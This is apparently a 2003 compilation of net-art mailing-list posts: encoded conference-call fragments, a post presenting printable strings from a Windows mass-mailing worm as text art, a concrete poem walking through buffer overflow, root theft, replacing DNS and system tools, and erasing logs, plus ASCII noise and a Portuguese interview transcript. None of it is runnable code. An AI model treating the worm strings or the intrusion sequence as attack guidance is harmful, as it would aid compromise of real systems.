dXRlIHR\noZSBhcnRpY2xlDQpoYXZlPGJyPg0KYmVlbiBnaXZlbiB0byBQZXJm  dy5wZXJmb3JtYW5j\nZS1yZXNlYXJjaC5uZXQ8L2Rpdj4NCjxkaXY+PGJyPjwv  dGU6IEludGVycm9nYXRlOjwvZ\nGl2Pg0KPGRpdj4xNSB0byAxOCBKdW5lIFNp  dGVlIG9mIFBlcmZvcm1hbmNlIFN0dWRpZX\nMgaW50ZXJuYXRpb25hbCAjMTA8  dCBvZiBQZXJmb3JtYW5jZSBTdHVkaWVzIGF0IE5ldyB\nZb3JrIFVuaXZlcnNp  dHkgaW4gMTk5NS4NCkluPGJyPg0KaXRzIG5pbmUgeWVhcnMgb2Yg\nZXhpc3Rl  dWRpZXMgaGFzIHJlc3VsdGVkDQppbjxicj4NCnRoZSBmb3JtYXRpb24gb2Yg \n dGVzLCBXYWxlcywgYW5kIEdlcm1hbnkuIFBTaSAjOQ0Kd2FzPGJyPg0KaGVs  dCBzdGF0\nZSBvZiBwZXJmb3JtYW5jZSBkaXNjb3Vyc2UgaW4gQXNpYSw8YnI+  dW90OyAtIGFzIG5ld\nyBsb2NhbCBhdXRoZW50aWNpdGllcw0KZm9yPC9kaXY+  dGVycyBvZiBhIHNpbmdsZSBjb2\n5mZXJlbmNlLCBvdXIgcHVycG9zZSBpcyB0  dGUnDQpmaWd1cmVzPGJyPg0KY2VudHJhbGx\n5IGluIG11Y2ggb2YgcGVyZm9y  dWdob3V0IHRoZSBjb25mZXJlbmNlLA0Kd2l0aDwvZGl2\nPg0KPGRpdj5yZWdp  dXNzaW9uDQphcm91bmQ8YnI+DQpzcGVjaWZpYyBzaGFyZWQgY29uY\n2VybnMs  dCB0byB5b3VyIHByb3Bvc2FsLjxicj4NCjxicj4NCk5hbWU6PGJyPg0KVGl0  \ndXJlOiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw  d291bGQgb\nGlrZSB0byBzdWJtaXQgYSBwcm9wb3NhbCBmb3IgYQ0KcGFuZWwg  d2luZyBhcmUgcHJvcG\n9zZWQgSW50ZXJlc3QgR3JvdXBzLiBUbyBoZWxwIHVz  dGhlIFNlbnNvcml1bTxicj4NCl9\nfXyAoMTUpIEdlbmRlciAmYW1wOyBTZXh1  dHMNCkNvdW5jaWwgYW5kIHRoZSBEZXBhcnRt\nZW50IG9mIENhbmFkaWFuIEhl  dGggd2l0aCBpbmZvcm1hdGlvbiBvZg0KaW50ZXJlc3Qgd\nG88L2Rpdj4NCjxk  d2Vic2l0ZSAtIGh0dHA6Ly93d3cucGVyZm9ybWFuY2VhcnQuY2E8Yn\nI+DQo8  dCBzcGlyaXR1YWwsIHJlbGlnaW91cywgcG9saXRpY2FsLCBwZXJzb25hbCwN  s\neront accessibles aux stagiaires en-dehors des heures de cours.  \n\n_\nASCII SELECTED RANDOM FRAGMENTS GENERATOR V0.2 beta\nGenerated by : sense-sea-MegaSub-1-170.oz.net \nDate: 2003-09-02 06:41:16 \nPowered By: http://x-arn.org/hub/osm/ \n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Virus Strings to Send to Rumania\nDate: Sat, 30 Aug 2003 16:29:53 -0400 (EDT)\n\n\n\n\nVirus Strings to Send to Rumania\n\n\n<admin {AT} duma.gov.ru>: host ns.gov.ru[194.226.80.77] said: 555 sorry, your\n    envelope recipient is in my badrcptto list (#5.7.1) (in reply to RCPT TO\n    command)\n\nDiagnostic-Code: X-Postfix; host ns.gov.ru[194.226.80.77] said: 555 sorry, your\n    envelope recipient is in my badrcptto list (#5.7.1) (in reply to RCPT TO\n    command)\n\nDate: Sat, 30 Aug 2003 16:24:13 -0400 (EDT)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: admin {AT} duma.gov.ru\nSubject: HELO\n\nThis program must be run under Win32 UPX0 UPX1 UPX2 1.08 UPX! QSVW _^[Y]\nh=.} ]cTAR &Q){7[ ]GS` iphlpapi.dll <GetN worF kParams  {AT} x199.166. ,T5?\nhQ$\" P5.>54P esPTs ~.<$! ABCDEFGHIJKLMNOPQRSTUXYZabc\ndefghijklmnopqrstuvwxyz012345678 9+/_U3 <2Ff [8;+ 7haN.N s3A<-t <Ar'<`v\nkNAl S;!v$p r>4] b.*? Fd{g L+,0i 1z;s 8&,<[ loxQ rpGC; F/;3 Ur7g MK+d CS\\D\nOndRv wh\\R~g |m {AT} k W(QP .k!-d 1Rr`g -p2E _m {AT} <D A4PQ4R,e; nM4S 4cFt lad7\n\"PJ)P PvSL TX####\\`dh####lptx####| #### #### #### #### #### #### #### FFFF\n FFFF$(,4= MZPu\n prog\n mustMe ruv der Win3 CODE DAa_l .iD.K locP$ cDyh QL. {AT} -O >PINGu 6rrd tQ {AT} tN\nRIVMSG #& :! {AT} . s;^X #bxVN 4|tnF Zj%t ss: ^ \\WY52Y V60| dos stop whois6\nt+egold- ng.com USER w 5UNICK L911l +kGs :HT\\hxA\n KWNEL32 WSOX ExitProce seHan*enc_jl rcpy lenC6te=H hJTickCoun\\n Gnnec\ncWsskec bi`Sacc)l? ASta up[v _\\oa^hts! cvvk| (070N0S0`0 171J1x0 2J2Q2x2\n3P3l3 5?5E5K5Q5W5]5c5i5o5u5{ (HELO -0 MAIL FROM: <admin {AT} duma.gov.ru>\n RCPT TO QUIT From soft\"(security {AT} m 15=ToFS U+ t /Catch immedi7ly\n !&MIME-Version+1.0 -Type: qltip /jx9;b y=\"x l{pla ransfo ~FDeV f 1 ,/Aw\nI8rw Exv nLor 1vir [?e> + 500 ;l(/f amC+ o}+/dN ElGta \\wit{ \\*.* .htmwab\ndbxtb #2C:B :STR]\n /*F egB\\h \\[\"ES Es\\C 8\\R` g {AT} w- vxP/ mpGlob alAl Dele eIoVrol f%hN{,[TXH\nDrive ttribus Siz {AT}  -k?Modu oCZ=d ]]RR1 PoiJ f3Xng&_l KeysA `KHN.2\"\nKERNEL32.DLL ADVAPI32.dll wininet.dll WSOCK32.dll LoadLibraryA\nGetProcAddress ExitProcess RegCloseKey InternetGetConnectedState send\n\n\n\n___\n\n\nDate: Sun, 24 Aug 2003 23:33:10 +0100\nFrom: & =?iso-8859-1?Q?=2D=21=BB=2D=AB?= <sier {AT} alunos.fcsh.unl.pt>\nTo: syndicate {AT} anart.no, sier {AT} alunos.fcsh.unl.pt\nSubject: ____mar____memory_acess_random________________________________3_/_3_\n\n\nnow i will do nothing but listen ...\ni hear all sounds running together, combined, fused or following,\nsounds of the city and sounds out of the city, sounds of the day and night. ...\nw.w., song of myself, about struct\n\n\n\n\n\nomlkjhgf !#%')+-\u00fa\u0151\u00f6\u00f4\u00f4\u0148\u00f3\u0144lllllllltsssssrriiiiiiiimmmmmmmmomlkjihg./01234.\t \tomlkjhgf !#%')+-\u00fa\u0151\u00f6\u00f4\u00f4\u0148\u00f3\u0144lllllllltsssssrriiiiiiiimmmmmmmmomlkjihg./01234.\n\u00e9\u0139u )2utsmkjaYR (1pnmefgnlkaYR    )2rpoefgpnmefhtrqijkukb )2tssrux\u0119\u013a\u00e2srs\t \tvsqehkxusfhija-+*#,5eddbckkjhijoppla *4mkj]TL'1<ppqpoiijlkjeeijkqol\\SK' \nfeddacdkkjhiioopqi`!)1mlkiZTM&/7rpoeeegijttsmlkccccZTM   $+2aZS#+3mlkaba\t \ttqofhqomcceefikqnlZO!/=utopqk]\"0>tqegigZ#1>qnaVK(3cegnnnoopneeeiktrpjltu\ndccbdgi^/9Bkjggg_TJ  $.8dfnnnmmmaU'3 {AT} pn`VK+8w{~\u00c9r!+5bdqqrtrp_T   '1dddfe\t \tusri^S'3sx}\u00eb\u00c4o&1jhgaaadftsrkbY,* )3aXN&/dddaXN'3usrljiZQ )3fghoorqpljiaa\niijmmppppnegissrqoijnnnljacenosqn\\Q\"-8dfnnnmmk^Q+8rom[P%3AtrhgeYQ,*(*6ee\t \tegjl]\".:hjtri\\O  \".:hjtri\\O&2adhsssw\u00e1\u00c9\u00c4j[\".9egi[ -;nkacenni[ -;nnmkjddee\nefgki`VK'4qomfgppppnegiqoefhnospmcfuqnYN   *6otx\u00e1\u00c7j]P/A\u00e1uc  %2?mkbdgolaa\t \taYR '/feeeeflkkihgccdijktqoabdrh_    '/e]U '/eefljiaYR )2trqiijnmlhgfaYa\ndddehjpmadgqoaaadfhcW%0<notsrdY!+5cddijoopqqk_S'1cefnnnopuuusrlmnrqmaU% \t \tpooooorrtqnacenotsrk`U&/aaabbbaabaaadgtqaWN#,6dde[Q#/;qnabcijkj^ )3ddd^e\nutsrlkj`ZUO$)/bbbbacdoqt\u00e7\u013a\u013a\u013a\u00e2\u00e1\u0143ng`Y$+2mmlkeghrrrvuttooorqon]WQ!'-3ddddde\t \tiiiiiinmmmllcccdddonnnnnmmmmmmonnnmmddefgh\u00e1\u0143\u00c7\u007f}z-.0245lkkkjja_^\\[Y./124.\niiiiiinmmmllcccdddonnnnnmmmmmmonnnmmddefgh\u00e1\u0143\u00c7\u007f}z-.0245lkkkjja_^\\[Y./124.\t \tonnkkjgge[Q   '3usri^S'2mmmnnnlkefgnoosrocX#/:ooooonbW&0fedadgutooone[,.\nonnkkjgge[Q   '3usri^S'2mmmnnnlkefgnoosrocX#/:ooooonbW&0fedadgutooone[,.\t \tonnkkjgge[Q   '3usri^S'2mmmnnnlkefgnoosrocX#/:ooooonbW&0fedadgutooone[,.\nonnkkjgge[Q   '3usri^S'2mmmnnnlkefgnoosrocX#/:ooooonbW&0fedadgutooone[,.\t \tonnkkjgge[Q   '3usri^S'2mmmnnnlkefgnoosrocX#/:ooooonbW&0fedadgutooone[,.\nonnkkjgge[Q   '3usri^S'2mmmnnnlkefgnoosrocX#/:ooooonbW&0fedadgutooone[,.\t \tvsqabcmmmooosi` '.baaaabijlxurabdrh_ )2utsmd[ '.bcdomlcbbaaadefof] '.aba\nmsz\u00f6\u00ee\u00e9rpihgbbb\\U.,*#,6^T )3ehjma )2abbghoooqnlZQ (0XRL.....06=WN *5mkiZa\t \tmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\t \tmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\t \tmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\t \tmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\t \tmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\t \ttsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\t \ttsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\t \ttsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\t \ttsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\t \ttsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\t \ttsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\t \tnnnnnnnnnnnnoooooo\u0103\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e2\u00e2\u00e2\u00e2\u00e2\u00e2onnnnmmmmmlllllkkk.......//////0000.\nnnnnnnnnnnnnoooooo\u0103\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e2\u00e2\u00e2\u00e2\u00e2\u00e2onnnnmmmmmlllllkkk.......//////0000.\t \tnnnnnnnnnnnnoooooo\u0103\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e2\u00e2\u00e2\u00e2\u00e2\u00e2onnnnmmmmmlllllkkk.......//////0000.\nnnnnnnnnnnnnoooooo\u0103\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e2\u00e2\u00e2\u00e2\u00e2\u00e2onnnnmmmmmlllllkkk.......//////0000.\t \tnnnnnnnnnnnnoooooo\u0103\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e2\u00e2\u00e2\u00e2\u00e2\u00e2onnnnmmmmmlllllkkk.......//////0000.\nnnnnnnnnnnnnoooooo\u0103\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e2\u00e2\u00e2\u00e2\u00e2\u00e2onnnnmmmmmlllllkkk.......//////0000.\t \thgf`XP   \"*3dfhtttqpoijkoorrqmcZ   #,4fghnmmaYP(2ne[\"1 {AT} \u00f6\u00ee\u00e9lmnsqpiijmmmno\nfffiiillmkjaXN'2qqrtro^T )3ehjma )3fffiillllkjeei^T#.9ljaWN   '2nnnoopks\t \taaabbcnnnnnoooooqnjgd !!\"#22222//////.....000000000000000000000000002460\naaabbcnnnnnoooooqnjgd !!\"#22222//////.....000000000000000000000000002460\t \taaabbcnnnnnoooooqnjgd !!\"#22222//////.....000000000000000000000000002460\n\n\n\n\na manoel de oliveira.\n\n\n\n\n\n\n\n\n\n[\n\n\n\tcascading lines behind the trees:\n\n\n\n\n\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\tOVERFLOW the buffer\n\n\t\t\t\t\t\t\t\t\t\t\to\n\t\t\t\t\t\t\t\t\t\t\t v\n\t\t\t\t\t\t\t\t\t\t\te\n\t\t\t\t\t\t\t\t\t\t  r\n\n\n\t\t\t\t\t\t\t\t\t\tFILL it WITH A's\n\n\t\t\t\t\t\t\t\t\t\t\tf\n\t\t\t\t\t\t\t\t\t\t\t i \n\t\t\t\t\t\t\t\t\t\t\t   l\n\t\t\t\t\t\t\t\t\t\t\t       l\n\n\t\t\t\t\t\t\t\t\t\tREACH the exec mem\n\n\t\t\t\t\t\t\t\t\t\t\tr  e\n\t\t\t\t\t\t\t\t\t\t\t     a\n\t\t\t\t\t\t\t\t\t\t\t     \n\t\t\t\t\t\t\t\t\t\t\t     c  \n\t\t\t\t\t\t\t\t\t\t\t         h\n\n\n\t\t\t\t\t\t\t\t\t\tRUN the script\n\n\t\t\t\t\t\t\t\t\t\t\tr \tu\tn\n\t\t\t\t\t\t\t\t\t\t\tr\tu\tn\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t   s\n\t\t\t\t\t\t\t\t\t\t  s\n\t\t\t\t\t\t\t\t\t\t    s\t\n\t\t\t\t\t\t\t\t\t\t    \n\t\t\t\t\t\t\t\t\t\t    \tu\n\t\t\t\t\t\t\t\t\t\t    \t\n\t\t\t\t\t\t\t\t\t\t    \t\n\t\t\t\t\t\t\t\t\t\t    \n\t\t\t\t\t\t\t\t\t\t    \n\t\t\t\t\t\t\t\t\t\t    \n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tSTEAL, STEAL root\n\n\t\t\t\t\t\t\t\t\t\t\tbranch\n\t\t\t\t\t\t\t\t\t\t\t\\     /\n\t\t\t\t\t\t\t\t\t\t\t\t\\/\n\t\t\t\t\t\t\t\t\t\t\t\t |\n\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t[fading]\n\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\tREPLACE DNS table\n\t\t\t\t\t\t\t\t\t\tREPLACE NMAP, LS, NETSTAT,\n\t\t\t\t\t\t\t\t\t\tERASE LOGS, ERASE LOGS\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t[enter silence]\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\n\n\n\n\n\n\t]\n\t\t\t\t\t\t\t\t\t\t\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u00e9 uma pena, repetiu tr\u0119s vezes. falhou na primeira, falhou na segunda, e\nna terceira vou ver se conseguiu dar-lhe, como se v\u0119 aqui, de um s\u00f3\njacto. e de uma forma impressionante como se via. e eu fui, fui atr\u00e1s do\npano onde ela representava, n\u0103o \u00e9, para a felicitar, e ela tinha\ndesatado num choro convulso, portanto acabava de sair de uma can\u00e7\u0103o\nnervosa de incomod\u00e1-la.\n\nolhe, um momento por favor.\n\n\n\n\n\n\n\n\n\nvamos baixar um bocado a m\u00fasica. e eu agora [...] na m\u00fasica\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ntou aqui.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nn\u0103o.\n\n\n\n\n\n\n\n\n\nha, curioso, foi o \u00faltimo filme que eu filmei na, nos anos 30.\n\n\n\n\n\no \u00faltimo.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nomlkjhgf !#%')+-\u00fa\u0151\u00f6\u00f4\u00f4\u0148\u00f3\u0144lllllllltsssssrriiiiiiiimmmmmmmmomlkjihg./01234.\nomlkjhgf !#%')+-\u00fa\u0151\u00f6\u00f4\u00f4\u0148\u00f3\u0144lllllllltsssssrriiiiiiiimmmmmmmmomlkjihg./01234.\n\u00e9\u0139u )2utsmkjaYR (1pnmefgnlkaYR    )2rpoefgpnmefhtrqijkukb )2tssrux\u0119\u013a\u00e2srs\nvsqehkxusfhija-+*#,5eddbckkjhijoppla *4mkj]TL'1<ppqpoiijlkjeeijkqol\\SK' \nfeddacdkkjhiioopqi`!)1mlkiZTM&/7rpoeeegijttsmlkccccZTM   $+2aZS#+3mlkaba\ntqofhqomcceefikqnlZO!/=utopqk]\"0>tqegigZ#1>qnaVK(3cegnnnoopneeeiktrpjltu\ndccbdgi^/9Bkjggg_TJ  $.8dfnnnmmmaU'3 {AT} pn`VK+8w{~\u00c9r!+5bdqqrtrp_T   '1dddfe\nusri^S'3sx}\u00eb\u00c4o&1jhgaaadftsrkbY,* )3aXN&/dddaXN'3usrljiZQ )3fghoorqpljiaa\niijmmppppnegissrqoijnnnljacenosqn\\Q\"-8dfnnnmmk^Q+8rom[P%3AtrhgeYQ,*(*6ee\negjl]\".:hjtri\\O  \".:hjtri\\O&2adhsssw\u00e1\u00c9\u00c4j[\".9egi[ -;nkacenni[ -;nnmkjddee\nefgki`VK'4qomfgppppnegiqoefhnospmcfuqnYN   *6otx\u00e1\u00c7j]P/A\u00e1uc  %2?mkbdgolaa\naYR '/feeeeflkkihgccdijktqoabdrh_    '/e]U '/eefljiaYR )2trqiijnmlhgfaYa\ndddehjpmadgqoaaadfhcW%0<notsrdY!+5cddijoopqqk_S'1cefnnnopuuusrlmnrqmaU% \npooooorrtqnacenotsrk`U&/aaabbbaabaaadgtqaWN#,6dde[Q#/;qnabcijkj^ )3ddd^e\nutsrlkj`ZUO$)/bbbbacdoqt\u00e7\u013a\u013a\u013a\u00e2\u00e1\u0143ng`Y$+2mmlkeghrrrvuttooorqon]WQ!'-3ddddde\niiiiiinmmmllcccdddonnnnnmmmmmmonnnmmddefgh\u00e1\u0143\u00c7\u007f}z-.0245lkkkjja_^\\[Y./124.\niiiiiinmmmllcccdddonnnnnmmmmmmonnnmmddefgh\u00e1\u0143\u00c7\u007f}z-.0245lkkkjja_^\\[Y./124.\nonnkkjgge[Q   '3usri^S'2mmmnnnlkefgnoosrocX#/:ooooonbW&0fedadgutooone[,.\nonnkkjgge[Q   '3usri^S'2mmmnnnlkefgnoosrocX#/:ooooonbW&0fedadgutooone[,.\nonnkkjgge[Q   '3usri^S'2mmmnnnlkefgnoosrocX#/:ooooonbW&0fedadgutooone[,.\nonnkkjgge[Q   '3usri^S'2mmmnnnlkefgnoosrocX#/:ooooonbW&0fedadgutooone[,.\nonnkkjgge[Q   '3usri^S'2mmmnnnlkefgnoosrocX#/:ooooonbW&0fedadgutooone[,.\nonnkkjgge[Q   '3usri^S'2mmmnnnlkefgnoosrocX#/:ooooonbW&0fedadgutooone[,.\nvsqabcmmmooosi` '.baaaabijlxurabdrh_ )2utsmd[ '.bcdomlcbbaaadefof] '.aba\nmsz\u00f6\u00ee\u00e9rpihgbbb\\U.,*#,6^T )3ehjma )2abbghoooqnlZQ (0XRL.....06=WN *5mkiZa\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\nmmmmnnnooopp\u00fa\u0151\u0151\u0151\u00f6\u00f6\u00f6\u00f6\u00f4\u00f4\u00f4\u0148srrrrrrrrrrrihhhhhhhhhhhcbbbbbbbbbbba``___^^^]]a\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\ntsssssssoooooooousrqonmk !\"#$%&'aaaabbbbqqqqqqqqutttttssihgfedcb.----,.\nnnnnnnnnnnnnoooooo\u0103\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e2\u00e2\u00e2\u00e2\u00e2\u00e2onnnnmmmmmlllllkkk.......//////0000.\nnnnnnnnnnnnnoooooo\u0103\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e2\u00e2\u00e2\u00e2\u00e2\u00e2onnnnmmmmmlllllkkk.......//////0000.\nnnnnnnnnnnnnoooooo\u0103\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e2\u00e2\u00e2\u00e2\u00e2\u00e2onnnnmmmmmlllllkkk.......//////0000.\nnnnnnnnnnnnnoooooo\u0103\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e2\u00e2\u00e2\u00e2\u00e2\u00e2onnnnmmmmmlllllkkk.......//////0000.\nnnnnnnnnnnnnoooooo\u0103\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e2\u00e2\u00e2\u00e2\u00e2\u00e2onnnnmmmmmlllllkkk.......//////0000.\nnnnnnnnnnnnnoooooo\u0103\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e4\u00e2\u00e2\u00e2\u00e2\u00e2\u00e2onnnnmmmmmlllllkkk.......//////0000.\nhgf`XP   \"*3dfhtttqpoijkoorrqmcZ   #,4fghnmmaYP(2ne[\"1 {AT} \u00f6\u00ee\u00e9lmnsqpiijmmmno\nfffiiillmkjaXN'2qqrtro^T )3ehjma )3fffiillllkjeei^T#.9ljaWN   '2nnnoopks\naaabbcnnnnnoooooqnjgd !!\"#22222//////.....000000000000000000000000002460\naaabbcnnnnnoooooqnjgd !!\"#22222//////.....000000000000000000000000002460\naaabbcnnnnnoooooqnjgd !!\"#22222//////.....000000000000000000000000002460\n              http://sier.risco.pt/code/mar/3.3.txt\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: (no subject)\nDate: Mon, 01 Sep 2003 23:13:49 +0200\n\ns.t.a.t.i.c\n\n   F\n   F.i.l.\n\n   F\n   F i\n   F i l\n   F i l e\n            \\\n   _P.r.e.f.e.r.   \\\n   _P.r.e.f.e.r.e.n.c. \\\n   _Preferences\\\n   _PreferencesC\\\n   _PreferencesCo\\\n   _PreferencesSha\\\n   _PreferencesShap\\\n   _P r e f e r e n c e s S h a p e\n   _P r e f e r e n c e s S h a p e O v\n                      \\\n                       \\\n                         o l o\n                          l o r G r e\n                           o r B l\n                        S q u a r e\n                        e c t a n g l\n                           a l\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\nDate: Wed, 3 Sep 2003 22:20:09 -0700\nFrom: August Highland <hmfah3 {AT} hotmail.com>\nTo: webartery {AT} yahoogroups.com\nSubject: transluminational laureate corporation #0001\n\ntransluminational 